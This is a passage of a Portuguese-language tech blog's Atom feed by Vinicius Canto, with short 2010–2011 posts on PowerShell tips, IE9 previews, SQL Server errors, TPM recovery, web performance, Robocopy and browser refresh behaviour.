url='http://lh5.ggpht.com/_l3eDYIF1qmk/TbrWOPd2g1I/AAAAAAAAANU/8zMG2BVKO3E/s72-c/wlEmoticon-smile%5B2%5D.png?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-6484790138053027159</id><published>2011-04-16T18:00:00.001-03:00</published><updated>2011-04-16T18:00:51.139-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Compatibilidade'/><title type='text'>Série Defrag no Channel9</title><content type='html'>&lt;p&gt;Olá,&lt;/p&gt;  &lt;p&gt;Encontrei uma série nova no Channel 9, uma chamada Defrag. Já tem uns 3 videos lá sobre troubleshooting, e um deles trata de troubleshooting do Windows Installer, Windows Update, e um mecanismo bem rápido pra decifrar códigos de erro do Windows no windbg (!error). Quem fala no vídeo é o Gov Maharaj, um cara bastante conhecido no mundo de Application Compatibility.&lt;/p&gt;  &lt;p&gt;&lt;a href="https://channel9.msdn.com/Shows/The-Defrag-Show/Defrag-003-Win7-Shutdown-Slowdowns-Prob-Step-Recorder-MSI-Failures"&gt;https://channel9.msdn.com/Shows/The-Defrag-Show/Defrag-003-Win7-Shutdown-Slowdowns-Prob-Step-Recorder-MSI-Failures&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;[]s,&lt;/p&gt;  &lt;p&gt;Vinicius&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-6484790138053027159?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/6484790138053027159/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=6484790138053027159&amp;isPopup=true' title='1 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/6484790138053027159'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/6484790138053027159'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2011/04/serie-defrag-no-channel9.html' title='Série Defrag no Channel9'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-5321055186142856420</id><published>2010-11-28T18:39:00.001-02:00</published><updated>2010-11-28T18:39:23.054-02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='IE'/><title type='text'>IE9 Platform Preview 7 com a carcaça do IE9 Beta</title><content type='html'>&lt;p&gt;&lt;a href="http://lh6.ggpht.com/_l3eDYIF1qmk/TPK97xso5ZI/AAAAAAAAAMI/fjTEeX9rz6o/s1600-h/ie9-logo%5B6%5D.png"&gt;&lt;img style="border: 0px; padding-top: 0px; padding-right: 0px; padding-left: 0px; display: inline; background-image: none;" title="ie9-logo" border="0" alt="ie9-logo" src="http://lh3.ggpht.com/_l3eDYIF1qmk/TPK98Qu7wrI/AAAAAAAAAMM/SxFYE4cPCJ4/ie9-logo_thumb%5B13%5D.png?imgmax=800" width="244" height="243" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;Muita gente se impressiona quando vê o IE9 rodando páginas com recursos do HTML5. O motivo é simples: resolveram usar a GPU pra processar parte do processo de carregamento da página. &lt;/p&gt;  &lt;p&gt;Não se trata de processamento matemático puro, parsing, ou coisa parecida. Trata-se de usar a GPU para fazer o que ela faz de melhor: colocar imagens na tela. E isso vem dando resultados interessantes. A idéia é tão boa que boa parte dos browsers já faz isso (baixe os builds noturnos e compare).&lt;/p&gt;  &lt;p&gt;O problema continua com o Platform Preview. Creio que a MS acertou em cheio ao não se limitar aos betas e lançar também versões intermediárias para desenvolvedores. O problema é que o platform preview é bacana só para pequenos testes. É muito chato usar ele no dia-a-dia, dado que ele é só uma janela simples com o Web Browser Control. Nem mesmo o botão back foi programado.&lt;/p&gt;  &lt;p&gt;Existe uma forma de criar um IE9, mas com o engine do Platform Preview, que é mais recente. Basta instalar os dois e rodar o script a seguir no PowerShell. Você verá uma pasta nova chamada &lt;strong&gt;ie9pp7&lt;/strong&gt; no Desktop.&lt;/p&gt;    &lt;pre&gt;&lt;code&gt;#PowerShell command to create a IE9 Beta with IE9 Platform Preview 7 engine. You need to install both first.

cd &amp;quot;$(cat Env:\USERPROFILE)\desktop&amp;quot;;cd(md ie9pp7 -force)
copy &amp;quot;$(cat 'env:\ProgramFiles(x86)')\Internet Explorer\iexplore.exe&amp;quot; . -force
copy &amp;quot;$(cat 'env:\programfiles(x86)')\Internet Explorer Platform Preview\iepreview.exe.local&amp;quot; .\iexplore.exe.local -force&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Até logo! E bons testes com seu novo Frankenstein =)&lt;/p&gt;

&lt;p&gt;&lt;a href="http://lh4.ggpht.com/_l3eDYIF1qmk/TPK99s6r33I/AAAAAAAAAMQ/tsr50cxJFY4/s1600-h/frankenstein_monster_boris_karloff%5B2%5D.jpg"&gt;&lt;img style="border: 0px; padding-top: 0px; padding-right: 0px; padding-left: 0px; display: inline; background-image: none;" title="frankenstein_monster_boris_karloff" border="0" alt="frankenstein_monster_boris_karloff" src="http://lh6.ggpht.com/_l3eDYIF1qmk/TPK9-GBLREI/AAAAAAAAAMU/-jf_8nK6S6Y/frankenstein_monster_boris_karloff_thumb.jpg?imgmax=800" width="184" height="244" /&gt;&amp;#160;&lt;/a&gt;&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-5321055186142856420?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/5321055186142856420/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=5321055186142856420&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/5321055186142856420'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/5321055186142856420'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2010/11/ie9-platform-preview-7-com-carcaca-do.html' title='IE9 Platform Preview 7 com a carcaça do IE9 Beta'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh3.ggpht.com/_l3eDYIF1qmk/TPK98Qu7wrI/AAAAAAAAAMM/SxFYE4cPCJ4/s72-c/ie9-logo_thumb%5B13%5D.png?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-6282548846165094724</id><published>2010-10-28T11:21:00.001-02:00</published><updated>2010-10-28T11:21:13.547-02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='powershell'/><title type='text'>Aumentando o tamanho da janela do PowerShell dinamicamente</title><content type='html'>&lt;p&gt;Essa é uma dica rápida. Ando meio sem tempo ultimamente, mas essa daqui eu preciso postar. Ainda tenho uns 3 posts bacanas pra postar aqui de dúvidas que ando recebendo por e-mail, mas falta tempo pra sentar e escrever com calma. Uma hora sai.&lt;/p&gt;  &lt;p&gt;A dica é bacana: será que tem como aumentar o tamanho da janela do PowerShell, via script? Tem.&lt;/p&gt;  &lt;p&gt;Porque isso é útil? Imagine que você está fazendo algum script que exibe o status de um servidor exchange, ou um relatório com uma lista de usuários bloqueados com alguns detalhes. E vai fazer isso para um time de TI usar. Normalmente tabelas no PowerShell aparecem (via format-table) de forma resumida. Você pode usar &lt;strong&gt;format-table *&lt;/strong&gt; para exibir todos os campos, mas ele formata sabendo da largura máxima (80 caracteres por padrão, se não me engano).&lt;/p&gt;  &lt;p&gt;Você pode resolver isso editando as propriedades da janela, clicando com o botão direito e aumentando o tamanho do buffer da janela (e opcionalmente o tamanho da janela em si).&lt;/p&gt;  &lt;p&gt;O que eu encontrei ontem, a pedido do Heitor, grande amigo meu, é uma forma de fazer isso via script. Assim, dentro do script você pode mudar o tamanho da janela e usar quantas colunas quiser no format-table. Veja:&lt;/p&gt;  &lt;pre&gt;&lt;code&gt;$bs = $host.ui.RawUI.BufferSize; $bs.Width=500; $Host.UI.RawUI.BufferSize = $bs
dir | format-table * -autosize&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Se quiser, use o autosize com o format-table para ajustar a largura automaticamente. E altere a largura conforme necessário.&lt;/p&gt;

&lt;p&gt;Bom, é isso. Até a próxima!&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-6282548846165094724?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/6282548846165094724/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=6282548846165094724&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/6282548846165094724'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/6282548846165094724'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2010/10/aumentando-o-tamanho-da-janela-do.html' title='Aumentando o tamanho da janela do PowerShell dinamicamente'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-1718419127485296352</id><published>2010-09-14T23:17:00.001-03:00</published><updated>2010-09-14T23:17:31.551-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Windows Internals'/><title type='text'>Como resetar o TPM do micro caso você perca a senha</title><content type='html'>&lt;p&gt;[Parece meio off em relação ao restante do blog, mas é um post de utilidade pública. Você pode precisar dessa dica um dia…]&lt;/p&gt;  &lt;p&gt;Parece mágico, mas não é. E requer acesso ao AD.&lt;/p&gt;  &lt;p&gt;&lt;a href="http://blogs.technet.com/b/bitlocker/archive/2010/09/14/how-to-use-hash-of-tpm-from-ad-to-reset-your-tpm-password.aspx"&gt;http://blogs.technet.com/b/bitlocker/archive/2010/09/14/how-to-use-hash-of-tpm-from-ad-to-reset-your-tpm-password.aspx&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;Em termos práticos: você pode obter o hash para recuperação de um drive criptografado com Bitlocker a partir do Active Directory. Basta pegar o hash, gravar em um arquivo e usar o assistente de recuperação. Fácil fácil.&lt;/p&gt;  &lt;p&gt;Até mais,&lt;/p&gt;  &lt;p&gt;Vinicius&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-1718419127485296352?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/1718419127485296352/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=1718419127485296352&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/1718419127485296352'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/1718419127485296352'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2010/09/como-resetar-o-tpm-do-micro-caso-voce.html' title='Como resetar o TPM do micro caso você perca a senha'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-5604589468803864546</id><published>2010-09-14T16:37:00.001-03:00</published><updated>2010-09-14T16:37:49.191-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Web Standards'/><category scheme='http://www.blogger.com/atom/ns#' term='Front-end optimization'/><title type='text'>Vinicius no TechED: sites de alto desempenho</title><content type='html'>&lt;p&gt;Olá pessoal,&lt;/p&gt;  &lt;p&gt;por conta da correria, acabei não avisando ninguém que me segue aqui no blog que eu iria dar uma palestra no TechEd 2010, sobre técnicas de otimização de front-ends para sites de alto desempenho. Em todo caso, acho que pouca gente pagaria inscrição no TechEd só pra me ver =).&lt;/p&gt;  &lt;p&gt;Agora as respostas para as perguntas:&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;&lt;strong&gt;Onde foi parar sua palestra?&lt;/strong&gt;&lt;/p&gt;    &lt;p&gt;Ainda não gravei o video, mas já já divulgo. Por enquanto, segue o &lt;a href="http://cid-870209db9ae422d7.office.live.com/self.aspx/Public/Presentations/201008%20-%20TechEd%20Brasil/WEB304%5E_ViniciusCantoXavier%5E_final%5E_v2.pptx"&gt;link do PPT para download&lt;/a&gt;. &lt;/p&gt;    &lt;p&gt;&lt;strong&gt;Microsoft tem um CDN próprio ou só faço isso com a Akamai? Tem no Brasil?&lt;/strong&gt;&lt;/p&gt;    &lt;p&gt;Sim, o Azure. No Brasil tem CDN para ajudar na distribuição de conteúdo estático, mas o datacenter ainda não. Vale o teste. Uma dica interessante ainda sobre o mesmo assunto é usar um CDN público para scripts Javascript. Conheço o da &lt;a href="http://www.asp.net/ajaxlibrary/cdn.ashx"&gt;MS&lt;/a&gt; e do &lt;a href="http://code.google.com/apis/libraries/devguide.html#Libraries"&gt;Google&lt;/a&gt;. É simples: ao invés de hospedar JQuery ou Prototype em casa você pode somente apontar para o CDN público. Você economiza banda e seus usuários agradecem, já que há uma grande chance deles já possuirem isso em cache. &lt;/p&gt;    &lt;p&gt;&lt;strong&gt;Como eu faço para configurar o cache de objetos individualmente no meu web server?&lt;/strong&gt;&lt;/p&gt;    &lt;p&gt;&lt;a href="http://learn.iis.net/page.aspx/710/configure-iis-7-output-caching/"&gt;Aqui&lt;/a&gt;. Se for Apache, veja &lt;a href="http://httpd.apache.org/docs/2.1/caching.html"&gt;aqui&lt;/a&gt;. Se não for nenhum dos dois, procure em algum site de busca. =)&lt;/p&gt;    &lt;p&gt;&lt;strong&gt;Onde posso encontrar mais info a respeito?&lt;/strong&gt;&lt;/p&gt;    &lt;p&gt;Recomendo três livros: &lt;a href="http://www.amazon.com/High-Performance-Web-Sites-Essential/dp/0596529309/ref=sr_1_2?s=books&amp;amp;ie=UTF8&amp;amp;qid=1284492737&amp;amp;sr=1-2"&gt;High Performance Websites&lt;/a&gt;, o &lt;a href="http://www.amazon.com/Even-Faster-Web-Sites-Performance/dp/0596522304/ref=sr_1_1?s=books&amp;amp;ie=UTF8&amp;amp;qid=1284492737&amp;amp;sr=1-1"&gt;Even Faster Websites&lt;/a&gt; e o &lt;a href="http://www.amazon.com/Ultra-Fast-ASP-NET-Build-Ultra-Scalable-Server/dp/1430223839/ref=sr_1_1?s=books&amp;amp;ie=UTF8&amp;amp;qid=1284492764&amp;amp;sr=1-1"&gt;Ultra Fast ASP.NET&lt;/a&gt;. O primeiro é de 2007, mas vale a leitura por ser bem amplo e ter ainda várias dicas que podem ser usadas, mesmo considerando que os browsers evoluiram. O segundo vai mais fundo em otimização de CSS e Javascript, e também vale a leitura. O terceiro é mais focado em ASP.NET, mas vale a pena se você prefere livros estilo cookbook. Tem outros ainda do &lt;a href="http://www.amazon.com/JavaScript-Patterns-Stoyan-Stefanov/dp/0596806752/ref=sr_1_3?s=books&amp;amp;ie=UTF8&amp;amp;qid=1284492789&amp;amp;sr=1-3"&gt;Stoyan Stefanov&lt;/a&gt; que eu queria ler, mas não consegui tempo ou não consegui encontrar ou não foi lançado ainda. Devem ser bons também.&lt;/p&gt;    &lt;p&gt;&lt;strong&gt;E o tal video que você ia mostrar?&lt;/strong&gt;&lt;/p&gt;    &lt;p&gt;&lt;a href="http://vimeo.com/14439742"&gt;Aqui&lt;/a&gt;. É um video muito bom, uma animação criada para ilustrar como funciona o envio de pacotes após o estabelecimento de uma conexão TCP/IP. É bacana notar por exemplo como funciona o processo de slow start e o tamanho da janela de transmissão, que aumenta com o tempo até chegar ao ponto que vários dados são enviados e o cliente envia ACKs de vez em quando. Isso exemplifica o que eu falei na palestra: abrir conexões para cada objeto HTTP é custoso. &lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;Espero que tenham gostado. Qualquer dúvida, é só chamar.&lt;/p&gt;  &lt;p&gt;Vinicius&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-5604589468803864546?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/5604589468803864546/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=5604589468803864546&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/5604589468803864546'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/5604589468803864546'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2010/09/vinicius-no-teched-sites-de-alto.html' title='Vinicius no TechED: sites de alto desempenho'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-443399100716199435</id><published>2010-08-04T12:56:00.001-03:00</published><updated>2010-08-04T12:56:19.537-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='SQL Server'/><title type='text'>ORMs e Stored Procedures</title><content type='html'>&lt;p&gt;Muito já foi dito sobre o assunto, eu sei. Mas gostaria de marcar aqui um post de um dos melhores caras que eu conheço em SQL, e que fez comentários muito objetivos sobre o assunto. &lt;/p&gt;  &lt;p&gt;Trata-se do &lt;a href="http://luticm.blogspot.com/2010/08/mitos-sobre-stored-procedures-uma.html"&gt;Blog do Luti&lt;/a&gt;, em resposta a um post do &lt;a href="http://unplugged.giggio.net/unplugged/post/Mitos-sobre-Stored-Procedures.aspx"&gt;Giovanni Bassi&lt;/a&gt;. Vale a leitura. Eu confesso que cheguei a duvidar da postagem inicial do Giggio e discuti com outros consultores sobre isso (sprocs vs adhoc queries vs queries parametrizadas), e não houve consenso. Acho que os dois posts (e as referências contidas neles) servem para acabar de uma vez por todas com isso. Agora fica faltando só a dúvida antiga sobre desempenho e ordenação física no disco de um &lt;em&gt;clustered index&lt;/em&gt;. =)&lt;/p&gt;  &lt;p&gt;Em resumo, use a resposta padrão do consultor: “depende”. Onde for importante, use o ORM. Onde não for, não use. Conheça as duas abordagens e estude caso a caso.&lt;/p&gt;  &lt;p&gt;[]s,&lt;/p&gt;  &lt;p&gt;Vinicius&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-443399100716199435?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/443399100716199435/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=443399100716199435&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/443399100716199435'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/443399100716199435'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2010/08/orms-e-stored-procedures.html' title='ORMs e Stored Procedures'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-6881268830274326780</id><published>2010-08-03T19:53:00.001-03:00</published><updated>2010-08-03T19:54:38.762-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='SQL Server'/><title type='text'>SQL Server Express</title><content type='html'>&lt;p&gt;Você já viu a mensagem abaixo ao tentar adicionar um banco de dados existente?&lt;/p&gt;  &lt;p&gt;A mensagem aparece logo após clicar com o botão direito em Databases, escolher a opção Tasks e em seguida Attach Database. Ela diz que o Management Studio não pode criar a caixa de diálogo (&lt;em&gt;Cannot show requested dialog&lt;/em&gt;), e informa que o parâmetro nColIndex tem o valor -1. (Microsoft.SqlServer.GridControl)&lt;/p&gt;  &lt;p&gt;&lt;a href="http://lh3.ggpht.com/_l3eDYIF1qmk/TFid8eeZJgI/AAAAAAAAALY/8ELKGCnhxeU/s1600-h/image%5B4%5D.png"&gt;&lt;img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" class="wlDisabledImage" title="image" border="0" alt="image" src="http://lh3.ggpht.com/_l3eDYIF1qmk/TFid84qfu9I/AAAAAAAAALc/xtgj4csIRVU/image_thumb%5B2%5D.png?imgmax=800" width="644" height="189" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;Ela aparece normalmente quando você não tem direito de syadmin. Só reparei nisso porque o SQL Server 2008 R2 &lt;strong&gt;não inclui mais os administradores locais no grupo interno de sysadmins&lt;/strong&gt;. Mais info no link &lt;a href="http://technet.microsoft.com/en-us/library/cc280562.aspx"&gt;http://technet.microsoft.com/en-us/library/cc280562.aspx&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;Para resolver o problema, basta usar uma conta que esteja no grupo de sysadmins, obviamente.&lt;/p&gt;  &lt;p&gt;Até mais,&lt;/p&gt;  &lt;p&gt;Vinicius&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-6881268830274326780?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/6881268830274326780/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=6881268830274326780&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/6881268830274326780'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/6881268830274326780'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2010/08/sql-server-express.html' title='SQL Server Express'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh3.ggpht.com/_l3eDYIF1qmk/TFid84qfu9I/AAAAAAAAALc/xtgj4csIRVU/s72-c/image_thumb%5B2%5D.png?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-4786590700633334158</id><published>2010-07-21T09:50:00.001-03:00</published><updated>2010-07-21T09:50:59.663-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='powershell'/><title type='text'>PowerShell + Intel VPro: controlando máquinas desligadas</title><content type='html'>&lt;p&gt;É, exatamente isso. Agora você pode programar máquinas que estão desligadas ou até mesmo travadas, via rede. Isso abre um leque de possibilidades para o pessoal que trabalha com IT e precisa consertar computadores em tempo recorde. Sobrando um tempinho faço uma demonstração disso… =)&lt;/p&gt;  &lt;p&gt;&lt;a title="http://blogs.msdn.com/b/powershell/archive/2010/07/21/intel-vpro-powershell-module.aspx" href="http://blogs.msdn.com/b/powershell/archive/2010/07/21/intel-vpro-powershell-module.aspx"&gt;http://blogs.msdn.com/b/powershell/archive/2010/07/21/intel-vpro-powershell-module.aspx&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;[]s,&lt;/p&gt;  &lt;p&gt;Vinicius&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-4786590700633334158?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/4786590700633334158/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=4786590700633334158&amp;isPopup=true' title='1 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/4786590700633334158'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/4786590700633334158'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2010/07/powershell-intel-vpro-controlando.html' title='PowerShell + Intel VPro: controlando máquinas desligadas'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-5278163226304793486</id><published>2010-07-12T08:58:00.001-03:00</published><updated>2010-07-12T08:58:10.784-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='cmd'/><title type='text'>Robocopy paralelo</title><content type='html'>&lt;p&gt;Uma das opções que eu nunca usei do Robocopy era a /MT, que permite escolher o número de threads que serão usadas para fazer a cópia. Meus testes informais nunca me permitiram concluir que usar mais de uma thread, especialmente via rede, ajudava muito na cópia.&lt;/p&gt;  &lt;p&gt;Scott Allen fez também seus testes, e, segundo ele, o Robocopy com 8 threads melhorava o tempo em 12%. Acho que preciso refazer meus testes =).&lt;/p&gt;  &lt;p&gt;&lt;a href="http://odetocode.com/Blogs/scott/archive/2010/07/08/multithreaded-robocopy.aspx"&gt;http://odetocode.com/Blogs/scott/archive/2010/07/08/multithreaded-robocopy.aspx&lt;/a&gt;&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-5278163226304793486?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/5278163226304793486/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=5278163226304793486&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/5278163226304793486'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/5278163226304793486'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2010/07/robocopy-paralelo.html' title='Robocopy paralelo'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-4366115674896718619</id><published>2010-07-10T22:43:00.001-03:00</published><updated>2010-07-10T22:43:08.628-03:00</updated><title type='text'>F5 ou Ctrl+F5</title><content type='html'>&lt;p&gt;Você sabe exatamente a diferença técnica entre apertar F5 e Ctrl+F5 num navegador?&lt;/p&gt;  &lt;p&gt;Ok, eu digo. Rapidamente: o F5 faz com que o browser envie um GET condicional (aquele com os cabeçalhos &lt;strong&gt;If-none-match&lt;/strong&gt; e/ou &lt;strong&gt;If-modified-since&lt;/strong&gt;). O Ctrl+F5 faz um GET comum.&lt;/p&gt;  &lt;p&gt;Se você quiser detalhes de como isso funciona, leia mais no &lt;a href="http://blogs.msdn.com/b/ieinternals/archive/2010/07/08/technical-information-about-conditional-http-requests-and-the-refresh-button.aspx"&gt;blog do Eric Lawrence&lt;/a&gt;. Eu recomendo. Ajuda e muito a resolver problemas em páginas dinâmicas. É importante saber o que o Ctrl+F5 faz para saber onde ele não resolve o problema.&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-4366115674896718619?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/4366115674896718619/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=4366115674896718619&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' 